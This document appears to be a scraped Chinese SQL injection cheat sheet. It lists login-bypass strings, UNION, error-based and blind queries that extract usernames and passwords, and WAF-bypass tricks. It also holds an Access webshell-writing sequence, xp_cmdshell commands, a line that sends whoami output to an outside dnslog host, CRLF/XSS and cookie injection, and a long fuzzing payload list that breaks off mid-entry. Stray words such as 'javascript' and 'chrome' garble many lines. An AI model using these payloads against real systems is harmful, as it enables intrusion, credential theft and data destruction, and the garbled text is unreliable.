SQL注入语句-登陆框javascript
‘ username #username是否过滤'
' root #password是否过滤'
"username: root
password: '" 以root帐号登陆(针对对查询结果是否有值作了判断的状况)
root' and 1=1;# 空/任意 以admin帐号登陆(针对对查询结果是否有值作了判断的状况)
admin' and 1=1;# 空/任意 "以空帐号登陆
若断定条件为$sql语句执行成功,而不对查询结果处理(如断定是否有值才能正确完成登陆重定向)"
and 1=1;# 空/任意 查询语句结果为空,判断语句为:查询出的密码=输入的密码
and 1=1;# 空php
用户名输入框中输入:’ or 1=1#,密码随便输入(mysql5.7.21中不成立:输出报错--)
' rlike (select (case when (1=1) then 1 else 0x28 end)) and '1'='1' or '1'='1
select @@secure_file_priv; --查看是否能够导入导出,为NUll表示不容许,为空表示容许
load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a; --mysql3.x读取方法
select * from user where id=1 and 1=2 union select 1,2,3; --判断表列数(这里判断是否为3列)html
select * from user where id=1 and 1=2 union select version(),1,2; --判断表列数+版本号(这里判断是否为3列)java
select * from user where id=1 and 1=2 union select version(),database(),2; ----判断表列数+版本号+数据库名(这里判断是否为3列)python
select * from user where id=1 and 1=2 union select version(),database(),user(); ----判断表列数+版本号+数据库名+用户名(这里判断是否为3列)mysql
select * from user where id=1 and 1=2 union select 1,2,schema_name from information_schema.schemata;(查询全部数据库)web
select * from user where id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata;(查询全部数据库)正则表达式
select * from user where id=1 and 1=2 union select 1,2,group_concat(convert(schema_name using latin1)) from information_schema.schemata;sql
and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() ---(根据库名查看表名称)chrome
and 1=2 union select 1,2,group_concat(conver t(table_name using latin1)),4,5,6,7,8,9,
10,11,12,13,14,15 from information_schema.tables where table_schema=database() ---(根据库名查看表名称)
mysql> select column_name from information_schema.columns where table_name=0x75736572; ----(根据表名查看列名,表名为16进制编码,需注意此处可能出现多张同名的表)
union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,
11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573 --(根据表名查看列名,表名为16进制编码,需注意此处可能出现多张同名的表)
and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,
11,12,13,14,15 from cms.cms_users --(根据库、表、列查看用户名和密码,之间用加号分隔)
and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,
11,12,13,14,15 from cms.cms_users --(根据库、表、列查看用户名和密码)
select table_name from information_schema.tables; --(mysql查看数据库中的总表数目)
and (select count (*) from user_tables>0 (oracle查看数据库中的总表数目)
select count(*) from information_schema.tables --(mysql查看全部数据库中的表总数)
mysql> select table_schema,count(*) from information_schema.tables group by table_schema --(查询数据库中每个库对应的表数目)
mysql> select table_name,table_schema from information_schema.tables where table
_schema='test';
' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’--+
select * from (select name_const(version(),1))a; --查看数据库版本
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; --利用数据库报错信息查看数据库版本
select+*+from+(select+NAME_CONST((语句),1),NAME_CONST((语句),1))+as+x)--
update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b);
insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b)));
SQL注入登陆框 - 万能密码 - ASP
'or''=' | 'or''=' root' or 'afs'<>'1sa | empty - Arbitrary
SQL注入登陆框 - 万能密码 - PHP
'or 1=1/*
or 1=1#/*
admin' or 'a'='a -- admin'报错 - 》 admin''正常 -》
SQL注入搜索框 - 数字型 - PHP
?cid=211 and 1=1 ?cid=211 and 1=2
?type=2 and (select 1 from(select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)y)%23
SQL注入搜索框 - 数字型- PHP -》select被过滤-》使用%2b配合mysql内置函数注入
http://www.xx.com/content_cygs.php?NID=240 http://www.xx.com/content_cygs.php?NID=235%2b(substring(@@version,1,1)) http://www.xx.com/content_cygs.php?NID=239%2b(substring(@@version,3,1)) http://www.xx.com/content_cygs.php?NID=234%2b(substring(@@version,5,1)) http://www.xx.com/content_cygs.php?NID=239%2bsubstring(ascii(substring(user(),1,1)),1,1)
SQL注入搜索框 - 字符型- PHP
php?city=zhongshan' and 1=(case when 1=1 then 1 else(select 1 from information_schema.tables)end)and'a'='a php?city=zhongshan' and 0=(case when 1=1 then 1 else(select 1 from informatino_schema.tables)end)and'a'='a
绕过方法整理
大小写转换法 SQL:sEleCt vERsIoN(); 特殊字符构造法 select `version`(); 编码绕过(常见的SQL编码有unicode、HEX、URL、ascll、base64等) SQL:load_file(0x633A2F77696E646F77732F6D792E696E69) 拼凑法(利用waf的不完整性,只验证一次字符串或者过滤的字符串并不完整) SQL:selselectect verversionsion();
SQL注入 - 字段绕过 - 单引号绕过1
局限性:(1)服务端采用GBK编码(2)数据传输时对字符进行url编码 root%d5' or 1=1;# 空/任意 addslashes -> urldecode <?php $user = $_GET['username']; $pass = $_GET['password']; $con=mysqli_connect("localhost","root","root","test"); if (mysqli_connect_errno($con)) { echo "链接 MySQL 失败: " . mysqli_connect_error(); } $adsuser = addslashes($user); $adsuser1 = urldecode($adsuser); $sql="SELECT * FROM user where username='$adsuser1'"; echo $sql; $result = mysqli_query($con,$sql); $arr = (mysqli_fetch_row($result)); if(is_array($arr)){ header("Location:manager.html"); }else { echo "Please Login Again!"; header("Refresh:2;url=Login.html"); } ?>
SQL注入 - 字段绕过 - 单引号绕过2
root %27 and 1=1;# 空/任意 addslashes -> urldecode (配合浏览器 --浏览器会首先作一次urldecode) <?php $user = $_GET['username']; $pass = $_GET['password']; $con=mysqli_connect("localhost","root","root","test"); if (mysqli_connect_errno($con)) { echo "链接 MySQL 失败: " . mysqli_connect_error(); } $adsuser = addslashes($user); $adsuser1 = urldecode($adsuser); $sql="SELECT * FROM user where username='$adsuser1'"; echo $sql; $result = mysqli_query($con,$sql); $arr = (mysqli_fetch_row($result)); if(is_array($arr)){ header("Location:manager.html"); }else { echo "Please Login Again!"; header("Refresh:2;url=Login.html"); } ?>
SQL注入 - 字段绕过 - 单引号绕过3
root %2527 and 1=1;# 空/任意 and 通常会考虑转换为 && 内联注释绕过: /*!1*/=/*!2*/ id=1 and/*!1=1*/
SQL注入 - 字段绕过 - and绕过
空格过滤转换为 %0a 、+ 或者 /**/
SQL注入 - 字段绕过 - 空格绕过
等号转换为 like greatest between 这些在sqlmap 都有相应的tamper
SQL注入 - 字段绕过 - 等号绕过
/**/select
SQL注入 - 字段绕过 - select绕过
盲注
and (select count(*) from admin) >=0 --(猜表名) and (select count (user) from admin ) >=0 --(猜列名) select * from user where id=3 and (select count(id) from user) > 3; --(猜列对应的行数,此处3返回正常页面表示可继续加1,直到页面不显示内容) and (select top 1 len (列名) from 表名) >0 --(sqlserver中猜列名中的第一列对应的字符数) and (select len (列名) from 表名 limit 1) >0 --(mysql中猜列名中的第一列字段对应的字符数) and (select top 1asc (mid (user,1,1)) from admin) >96 ——(猜字段的Ascii值,mysql报错) "mysql> select * from user where id=1 and ascii(substring((select id from user where id=1),1,1))=49; --(mysql猜字段的Ascii值)" select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1); select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1); select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1); select 1 from user where id regexp '^[1-9]' limit 6; --(列名用正则表达式表示) select char(97) --(ascii转换为字符a) select ascii('a') --(a取ascii值) select ord('a'); ----(a取ascii值) select left(database(),2); ---取数据库名的前两个字符
mid
数据库名判断 mysql> select * from users where id=1 union select mid(database(),1,2),1,2; --根据查询列数判断数据库名称 "关键字: union select mid database ()
绕过字段: and
"
数据库名判断(暴力猜解) "mysql> select * from users where id=1 and sleep(if((mid(database(),1,1)='s'),2,0
));" "关键字:and sleep if mid database () = '
));
绕过字段: union select
"
length
数据库名判断 mysql> select * from users where id=1 and length(database())>7; --长度大于7判断 "关键字: and length database () >
绕过字段: select =
"
floor
当前user()/database() "mysql> select * from users where id =1 and (select 1 from (select count(*),conca
t(user(),floor(rand(0)*2))x from users group by x)a);
ERROR 1062 (23000): Duplicate entry 'root@1' for key '<group_key>'"
updatexml "UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,若是不了解Xpath语法,能够在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
做用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而咱们的注入语句为:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的concat()函数是将其连成一个字符串,所以不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'"
当前user()/database() http://www.hackblog.cn/sql.php?id=1 and (select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
暴库 http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
暴表 http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容 http://www.hackblog.cn/sql.php?id=1 and mysql> select updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) from users limit 0,1),0x7e),1);
extractvalue
union联合查询注入
爆数据库名 "mysql> select * from user where id=1 and username = 'root' and (extractvalue('anything',concat('~',(select database()))));
extractvalue()能查询字符串的最大长度为32,就是说若是咱们想要的结果超过32,就须要用substring()函数截取,一次查看32位
这里查询前5位示意:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))"
爆表 http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆字段 http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
爆值 http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+
报错型注入
爆表 http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆字段 "http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','us')))) --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','us','user','password','avatar','last_login')))) --+"
爆值 "http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+"
geometrycollection
multipoint
polygon
multipolygon
linestring
multilinestring
exp
concat过滤绕过(使用make_set,lpad,repeat,reverse,export_set):
select updatexml(1,make_set(3,0x7e,(select user())),1);
select updatexml(1,lpad('@',30,(select user())),1);
mysql> select updatexml(1,repeat((select user()),2),1);
mysql> select updatexml(1,reverse((select user())),1);
mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);
基于时间
sleep 当前用户名判断 select if(user()='root@',sleep(2),null); --用户名判断 (刷新时间能够经过浏览器的开发者选项f12来看,或者使用Firefox的firebug插件,或者burpsuite等工具) "关键字: union select if user () = ' sleep 绕过字段: and " 数据库名判断 mysql> select * from users where id=1 and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))=113,sleep(2),null); --暴力猜解当前数据库中的数据库名,此处猜解当前数据库在第四个数据库且数据库首字母的ascii是为113(q) "关键字: and if ascii substr select schema_nameinformation limit = sleep () 绕过字段:union (select) " 表名判断 mysql> select * from users where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(2),null); --暴力猜解当前数据库security中第四张表的首字母为u "关键字:and if ascii substr select information_schema where = ' limit = sleep () 绕过字段:union (select) " 列名判断 "mysql> select * from users where id=1 and if(ascii(substr((select column_name f rom information_schema.columns where table_schema='security' and table_name='use rs' limit 0,1),1,1))=105,sleep(2),null); Empty set (2.00 sec) --暴力猜解当前数据库security,users表第1列字段的首字母为i" "关键字:and if ascii substr select information_schema where = ' limit sleep () 绕过字段:union (select) " 字段值判断 "mysql> select * from users where id=1 and if(ascii(substr((select password from security.users limit 0,1),1,1))=68,sleep(2),null); --暴力猜解当前数据库security,users,password列第一列字段的首字母为D " "关键字:and if ascii substr select from limit = sleep () 绕过字段:union (select) " 数据库名称长度判断 mysql> select * from users where id=1 and sleep(if((length(database())=8),0,3)); "关键字: and sleep if length database () = 绕过字段: select "
语言/框架中注入漏洞整理 - Java
jdbc:java.sql.statement(类)--可能存在
java.sql.preparedstatement --不存在(推荐使用类)
"String sql = ""select * from user_table where username=
' ""+userName+"" ' and password=' ""+password+"" '"";"
绕过方法:‘or 1 = 1 –
"SELECT * FROM user_table WHERE
username='' ;DROP DATABASE (DB Name) --' and password='' 删除数据库"
String sql = “select id,no from user where id=” + id;
绕过方法:1 or 1 = 1
select id,no from user where id=1 or 1=1
语言/框架中注入漏洞整理 - Python
python中sql存在注入状况: "sql = ""select id, name from test where id=%d and name='%s'"" %(id, name) cursor.execute(sql)" "修复: args = (id, name) sql = ""select id, name from test where id=%s and name=%s"" cursor.execute(sql, args)" "sql = ""select id, name from test where id=""+ str(id) +"" and name='""+ name +""'"" cursor.execute(sql)" "修复: name = MySQLdb.escape_string(name) sql = ""select id, name from test where id=%d and name='%s'"" %(id, name) cursor.execute(sql)"
注入工具整理
BSQL Hacker 1.支持SQL盲注;2.可自动对Oracle和MySQL数据库进行攻击 3.自动提取数据库的数据和架构 The Mole 1.开源 2.可绕过IPS/IDS; 3.攻击范围包括SQL Server、MySQL、Postgres和Oracle Pangolin 1.支持Access、MSSql、MySql、Oracle、Informix、DB二、Sybase、PostgreSQL、Sqlite 2.从检测注入开始到最后控制目标系统都给出了测试步骤 3.国内使用率最高的SQL注入测试的安全软件
Access手工注入
' 1=1 1=2 猜解表名 and exists(select * from admin) 猜解列名 and exists(select admin from admin) 猜想字段内容 and (select top 1 len(admin) from admin)>n and (select top 1 asc(mid(admin,1,1)) from admin)>c Webshell写入 create table cmd (a varchar(50)) insert into cmd (a) values ('一句话木马') select * into [a] in 'e:\host\chouwazi.com\web\data\xiao.asp;xiao.xls' 'excel 4.0;' from cmd drop table cmd
Oracle注入--搜索框
and (select count(*) from user_tables)=5-- and 1=2 union select 1,2,table_name,'4','5',null,7,1 from user_tables and (SELECT count(*) FROM USER_TAB_COLUMNS WHERE table_name='XBLOUSER' )>0 and 1=2 union select 1,2,COLUMN_NAME,'4','5',null,7,1 from (select * from (SELECT COLUMN_NAME FROM USER_TAB_COLUMNS WHERE table_name='XBLOUSER' order by 1 asc ) WHERE ROWNUM<=3 ORDER BY 1 DESC) WHERE ROWNUM<=1 -- Param_list:CommandName=getAppVersion) AND 9533=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(120)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (9533=9533) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(122)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL) AND (5159=5159
SqlServer注入--搜索框
Param_list:CommandName=getAppVersion%' AND 7784=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (7784=7784) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(122)+CHAR(113))) AND '%'=' (没整明白其做用,convert用法正确)
Param_list:CommandName=getAppVersion\xCF' AND 7784=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (7784=7784) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(122)+CHAR(113))) limit 10# Param_list:CommandName=getAppVersion\xCF' AND 7784=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (7784=7784) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(122)+CHAR(113))) limit 10#
dnslog注入
获取计算机名 for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info 获取用户名 for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
Cookie注入
直接使用Request获取参数如:SID=Request("ID"),先取Get值,再取Post值,而后取Cookie值 http://www.xxx.com/1.asp?id=123 若是咱们只输 http://www.xxx.com/1.asp 时,就不能看到正常的数据,由于没有参数! 咱们想知道有没有Cookies问题(也就是有没有Request("XXX")格式问题), 先用IE输入 http://www.xxx.com/1.asp 加载网页,显示不正常(没有输参数的缘由) 以后在IE输入框再输入 javascript:alert(document.cookie="id="+escape("123")); 按回车,你会看到弹出一个对话框 内容是: id=123 以后,你刷新一个网页,若是正常显示,表示是用 Request("ID") 这样的格式收集数据~~~~,这种格式就能够试Cookies注入 在输入框中输入 javascript:alert(document.cookie="id="+escape("123 and 3=3")); 刷新页面,若是显示正常,能够再试下一步(若是不正常,就有可能也有过滤了) javascript:alert(document.cookie="id="+escape("123 and 3=4"));刷新一下页面 若是不正常显示,这就表示有注入
CLRF注入
通常网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转,因此咱们能控制的内容就是Location:后面的XXX某个网址。 因此一个正常的302跳转包是这样: HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://www.sina.com.cn 但若是咱们输入的是 http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun 注入了一个换行,此时的返回包就会变成这样: HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://www.sina.com.cn Set-cookie: JSPSESSID=wooyun 这个时候这样咱们就给访问者设置了一个SESSION,形成一个“会话固定漏洞”。 好比一个网站接受url参数http://test.sina.com.cn/?url=xxx,xxx放在Location后面做为一个跳转。若是咱们输入的是: http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)> 咱们的返回包就会变成这样: HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: <img src=1 onerror=alert(/xss/)> 浏览器会根据第一个CRLF把HTTP包分红头和体,而后将体显示出来。因而这里<img>这个标签就会显示出来,形成一个XSS。 浏览器的Filter是浏览器应对一些反射型XSS作的保护策略,当url中含有XSS相关特征的时候就会过滤掉不显示在页面中,因此不能触发XSS。 怎样才能关掉filter?通常来讲用户这边是不行的,只有数据包中http头含有X-XSS-Protection而且值为0的时候,浏览器才不会开启filter。 说到这里应该就很清楚了,HRS不正是注入HTTP头的一个漏洞吗,咱们能够将X-XSS-Protection:0注入到数据包中,再用两个CRLF来注入XSS代码,这样就成功地绕过了浏览器filter,而且执行咱们的反射型XSS。 因此说HRS的危害大于XSS,由于它能绕过通常XSS所绕不过的filter,并能产生会话固定漏洞。 某分站含有一个url跳转漏洞,危害并不大,因而我就想到了CRLF Injection,测试 http://xxx.xx.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E 的时候,发现图片已经输出在页面中了,说明CRLF注入成功了: 那么咱们就注入一个X-XSS-Protection:0到数据包中,看看什么效果: @mramydnei 还想到了一个利用字符编码来绕过XSS Filter的方法,当编码是is-2022-kr时浏览器会忽略%0f,这样咱们在onerror后面加个%0f就能绕过filter,前提是注入一个<meta charset=ISO-2022-KR>: 固然,在Location:这里注入只有webkit内核浏览器才可以利用,其余浏览器可能会跳转、出错。不过对于chrome的使用量来讲,危害已经足够了。 如何修复HRS漏洞,固然是过滤\r 、\n之类的换行符,避免输入的数据污染到其余HTTP头。
SSTI注入
sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-shell
XFF(X-Forwarded-For)注入
X-Forwarded-for: 127.0.0.1 正常 X-Forwarded-for: 127.0.0.1’ 报错 X-Forwarded-for: 127.0.0.1' and 1=1# 正常 X-Forwarded-for: 127.0.0.1' and 1=2# 报错
SOAP接口XML注入
异或注入
可用于判断过滤 http://xx.xx.86.145:90/index.php?id=1'^(length('union')=5)%23 当union被过滤时1^0 输出id=1 当union没被过滤时 1 ^ 1 输出 id=0 回显 error
referer注入
宽字符注入
二次注入
Fuzzing篇
1 )%20or%20('x'='x 2 %20or%201=1 3 ; execute immediate 'sel' || 'ect us' || 'er' 4 benchmark(10000000,MD5(1))# 5 update 6 ";waitfor delay '0:0:__TIME__'-- 7 1) or pg_sleep(__TIME__)-- 8 ||(elt(-3+5,bin(15),ord(10),hex(char(45)))) 9 "hi"") or (""a""=""a" 10 delete 11 like 12 " or sleep(__TIME__)# 13 pg_sleep(__TIME__)-- 14 *(|(objectclass=*)) 15 declare @q nvarchar (200) 0x730065006c00650063 ... 16 or 0=0 # 17 insert 18 1) or sleep(__TIME__)# 19 ) or ('a'='a 20 ; exec xp_regread 21 *| 22 @var select @var as var into temp end -- 23 1)) or benchmark(10000000,MD5(1))# 24 asc 25 (||6) 26 "a"" or 3=3--" 27 " or benchmark(10000000,MD5(1))# 28 # from wapiti 29 or 0=0 -- 30 1 waitfor delay '0:0:10'-- 31 or 'a'='a 32 hi or 1=1 --" 33 or a = a 34 UNION ALL SELECT 35 ) or sleep(__TIME__)=' 36 )) or benchmark(10000000,MD5(1))# 37 hi' or 'a'='a 38 0 39 21 % 40 limit 41 or 1=1 42 or 2 > 1 43 ")) or benchmark(10000000,MD5(1))# 44 PRINT 45 hi') or ('a'='a 46 or 3=3 47 ));waitfor delay '0:0:__TIME__'-- 48 a' waitfor delay '0:0:10'-- 49 1;(load_file(char(47,101,116,99,47,112,97,115, ... 50 or%201=1 51 1 or sleep(__TIME__)# 52 or 1=1 53 and 1 in (select var from temp)-- 54 or '7659'='7659 55 or 'text' = n'text' 56 -- 57 or 1=1 or ''=' 58 declare @s varchar (200) select @s = 0x73656c6 ... 59 exec xp 60 ; exec master..xp_cmdshell 'ping 172.10.1.255'-- 61 3.10E+17 62 " or pg_sleep(__TIME__)-- 63 x' AND email IS NULL; -- 64 & 65 admin' or ' 66 or 'unusual' = 'unusual' 67 // 68 truncate 69 1) or benchmark(10000000,MD5(1))# 70 \x27UNION SELECT 71 declare @s varchar(200) select @s = 0x77616974 ... 72 tz_offset 73 sqlvuln 74 "));waitfor delay '0:0:__TIME__'-- 75 ||6 76 or%201=1 -- 77 %2A%28%7C%28objectclass%3D%2A%29%29 78 or a=a 79 ) union select * from information_schema.tables; 80 PRINT @@variable 81 or isNULL(1/0) /* 82 26 % 83 " or "a"="a 84 (sqlvuln) 85 x' AND members.email IS NULL; -- 86 or 1=1-- 87 and 1=( if((load_file(char(110,46,101,120,11 ... 88 0x770061006900740066006F0072002000640065006C00 ... 89 %20'sleep%2050' 90 as 91 1)) or pg_sleep(__TIME__)-- 92 /**/or/**/1/**/=/**/1 93 union all select @@version-- 94 ,@variable 95 (sqlattempt2) 96 or (EXISTS) 97 t'exec master..xp_cmdshell 'nslookup www.googl ... 98 %20$(sleep%2050) 99 1 or benchmark(10000000,MD5(1))# 100 %20or%20''=' 101 ||UTL_HTTP.REQUEST 102 or pg_sleep(__TIME__)-- 103 hi' or 'x'='x'; 104 ") or sleep(__TIME__)=" 105 or 'whatever' in ('whatever') 106 ; begin declare @var varchar(8000) set @var=' ... 107 union select 1,load_file('/etc/passwd'),1,1,1; 108 0x77616974666F722064656C61792027303A303A313027 ... 109 exec(@s) 110 ) or pg_sleep(__TIME__)-- 111 union select 112 or sleep(__TIME__)# 113 select * from information_schema.tables-- 114 a' or 1=1-- 115 a' or 'a' = 'a 116 declare @s varchar(22) select @s = 117 or 2 between 1 and 3 118 or a=a-- 119 or '1'='1 120 | 121 or sleep(__TIME__)=' 122 or 1 --' 123 or 0=0 #" 124 having 125 a' 126 " or isNULL(1/0) /* 127 declare @s varchar (8000) select @s = 0x73656c ... 128 â or 1=1 -- 129 char%4039%41%2b%40SELECT 130 order by 131 bfilename 132 having 1=1-- 133 ) or benchmark(10000000,MD5(1))# 134 or username like char(37); 135 ;waitfor delay '0:0:__TIME__'-- 136 " or 1=1-- 137 x' AND userid IS NULL; -- 138 */* 139 or 'text' > 't' 140 (select top 1 141 or benchmark(10000000,MD5(1))# 142 ");waitfor delay '0:0:__TIME__'-- 143 a' or 3=3-- 144 -- &password= 145 group by userid having 1=1-- 146 or ''=' 147 ; exec master..xp_cmdshell 148 %20or%20x=x 149 select 150 ")) or sleep(__TIME__)=" 151 0x730065006c0065006300740020004000400076006500 ... 152 hi' or 1=1 -- 153 ") or pg_sleep(__TIME__)-- 154 %20or%20'x'='x 155 or 'something' = 'some'+'thing' 156 exec sp 157 29 % 158 ( 159 ý or 1=1 -- 160 1 or pg_sleep(__TIME__)-- 161 0 or 1=1 162 ) or (a=a 163 uni/**/on sel/**/ect 164 replace 165 %27%20or%201=1 166 )) or pg_sleep(__TIME__)-- 167 %7C 168 x' AND 1=(SELECT COUNT(*) FROM tabname); -- 169 '%20OR 170 ; or '1'='1' 171 declare @q nvarchar (200) select @q = 0x770061 ... 172 1 or 1=1 173 ; exec ('sel' + 'ect us' + 'er') 174 23 OR 1=1 175 / 176 anything' OR 'x'='x 177 declare @q nvarchar (4000) select @q = 178 or 0=0 -- 179 desc 180 ||'6 181 ) 182 1)) or sleep(__TIME__)# 183 or 0=0 # 184 select name from syscolumns where id = (sele ... 185 hi or a=a 186 *(|(mail=*)) 187 password:*/=1-- 188 distinct 189 );waitfor delay '0:0:__TIME__'-- 190 to_timestamp_tz 191 ") or benchmark(10000000,MD5(1))# 192 UNION SELECT 193 %2A%28%7C%28mail%3D%2A%29%29 194 +sqlvuln 195 or 1=1 /* 196 )) or sleep(__TIME__)=' 197 or 1=1 or ""= 198 or 1 in (select @@version)-- 199 sqlvuln; 200 union select * from users where login = char ... 201 x' or 1=1 or 'x'='y 202 28 % 203 â or 3=3 -- 204 @variable 205 or '1'='1'-- 206 "a"" or 1=1--" 207 //* 208 %2A%7C 209 " or 0=0 -- 210 ")) or pg_sleep(__TIME__)-- 211 ? 212 or 1/* 213 ! 214 ' 215 or a = a 216 declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q) 217 declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s) 218 declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q) 219 declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s) 220 ' or 1=1 221 or 1=1 -- 222 x' OR full_name LIKE '%Bob% 223 '; exec master..xp_cmdshell 'ping 172.10.1.255'-- 224 '%20or%20''=' 225 '%20or%20'x'='x 226 ')%20or%20('x'='x 227 ' or 0=0 -- 228 ' or 0=0 # 229 or 0=0 #" 230 ' or 1=1-- 231 ' or '1'='1'-- 232 ' or 1 --' 233 or 1=1-- 234 ' or 1=1 or ''=' 235 or 1=1 or ""= 236 ' or a=a-- 237 or a=a 238 ') or ('a'='a 239 'hi' or 'x'='x'; 240 or 241 procedure 242 handler 243 ' or username like '% 244 ' or uname like '% 245 ' or userid like '% 246 ' or uid like '% 247 ' or user like '% 248 '; exec master..xp_cmdshell 249 '; exec xp_regread 250 t'exec master..xp_cmdshell 'nslookup www.google.com'-- 251 --sp_password 252 ' UNION SELECT 253 ' UNION ALL SELECT 254 ' or (EXISTS) 255 ' (select top 1 256 '||UTL_HTTP.REQUEST 257 1;SELECT%20* 258 <>"'%;)(&+ 259 '%20or%201=1 260 'sqlattempt1 261 %28 262 %29 263 %26 264 %21 265 ' or ''=' 266 ' or 3=3 267 or 3=3 -- 268 sleep(__TIME__)# 269 1 or sleep(__TIME__)# 270 " or sleep(__TIME__)# 271 ' or sleep(__TIME__)# 272 " or sleep(__TIME__)=" 273 ' or sleep(__TIME__)=' 274 1) or sleep(__TIME__)# 275 ") or sleep(__TIME__)=" 276 ') or sleep(__TIME__)=' 277 1)) or sleep(__TIME__)# 278 ")) or sleep(__TIME__)=" 279 ')) or sleep(__TIME__)=' 280 ;waitfor delay '0:0:__TIME__'-- 281 );waitfor delay '0:0:__TIME__'-- 282 ';waitfor delay '0:0:__TIME__'-- 283 ";waitfor delay '0:0:__TIME__'-- 284 ');waitfor delay '0:0:__TIME__'-- 285 ");waitfor delay '0:0:__TIME__'-- 286 ));waitfor delay 